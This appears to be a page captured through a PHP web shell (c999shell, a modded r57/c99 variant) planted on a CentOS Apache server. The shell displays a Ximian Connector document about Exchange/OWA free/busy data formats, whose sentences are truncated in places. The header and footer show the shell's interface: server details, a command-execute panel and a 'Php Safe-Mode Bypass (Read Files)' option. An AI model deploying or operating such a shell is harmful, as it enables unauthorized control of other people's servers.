Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gtk-doc/html/ximian-connector/ drwxr-xr-x |
Viewing file: ximian-connector-freebusy.html (14.42 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
The OWA XML Free/Busy interfaceIn Connector versions up to and including 2.0, we get free/busy data by using the XML interface to OWA. The request URL looks like: /public/?Cmd=freebusy &start=2002-10-23T04:00:00Z &end=2002-11-27T05:00:00Z &interval=30 &u=SMTP:danw@xcs.ximian.com &u=SMTP:eleanor@xcs.ximian.com
(Line breaks inserted for clarity. The actual URL would all be on one
line of course.) This must be sent with a proper
The response (with a status of <a:response xmlns:a="WM"> <a:recipients> <a:item> <a:displayname>All Attendees</a:displayname> <a:type>1</a:type> <a:fbdata>00000022220000000000000001221000222222...</a:fbdata> </a:item> <a:item> <a:displayname>Dan Winship</a:displayname> <a:email type="SMTP">danw@xcs.ximian.com</a:email> <a:type>1</a:type> <a:fbdata>00000000000000000000000000220000222222...</a:fbdata> </a:item> <a:item> <a:displayname>Eleanor Garcia</a:displayname> <a:email type="SMTP">eleanor@xcs.ximian.com</a:email> <a:type>1</a:type> <a:fbdata>00000022220000000000000001111000000000...</a:fbdata> </a:item> </a:recipients> </a:response>
Each character in the
The Lower-level Free/Busy InterfaceNoteThere is some code in
Public Free/Busy file
OWA's free/busy data is generated from the
data in
In that directory is a file for each user, eg:
So, given that my
you can find my public free/busy file. ("
The Four pairs of multivalued properties give the actual free/busy data.
The struct { guint month:4; /* 1 = January */ guint year :28; };
Each element of this array has a corresponding element in the
struct { guint16 start; /* minutes since start of month */ guint16 end; /* minutes since start of month */ }; If there are no events of a given type in the given interval, then Outlook leaves the two properties for that type unset. (If there are no events at all, then all 8 properties will be unset.) But when Exchange regenerates them itself, it just creates them empty instead. Additionally, several other properties are used:
There is also one more property,
Personal Free/Busy fileEach user also has a personal free/busy message, at:
This is known to be used for at least three things:
When you create an event via WebDAV, the server will eventually update the free/busy file with that data, but this is subject to various delays and exceptions that we don't understand. Among other things, Outlook uses the free/busy file to decide what dates to make bold in the minicalendar, which is why Connector-created appointments don't always show up there right away even when Outlook does display the event itself.
The free/busy data is stored in the
struct { guint32 magic; /* 0xdeadbeef */ guint32 header_len; /* 0x00000040 */ guint32 unknown_1; /* 0x00010000 */ guint32 unknown_2; /* 0x00000000 */ guint32 num_groups; /* number of free/busy groups */ guint32 num_events; /* total number of free/busy objects */ guint32 unknown_3; /* 0x00000008 */ guint32 unknown_4; /* 0x00000004 */ guint64 first_event; /* Windows filetime of start of first event */ guint64 last_event; /* Windows filetime of end of last event */ guint64 start_valid; /* Windows filetime of start of range */ guint64 end_valid; /* Windows filetime of end of range */ struct { guint32 index; /* Index of first event belonging to this group */ guint32 count; /* Number of events in this group */ } groups[num_groups]; struct { guint32 offset; /* Offset in minutes of event from start of group */ guint len:13; /* Length of event in minutes */ guint status:3; /* Status (1 = tentative, 2 = busy, 3 = oof) */ } events[num_events]; };
The first group starts at the time indicated by
There is no particular correlation between free/busy events and events on the calendar: two adjacent calendar events can be stored as a single free/busy event, and a given calendar event may be split across two or more free/busy groups.
The number of months covered by the free/busy data is in
A posting on the MAPI-L
list claimed that setting |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0117 ]-- |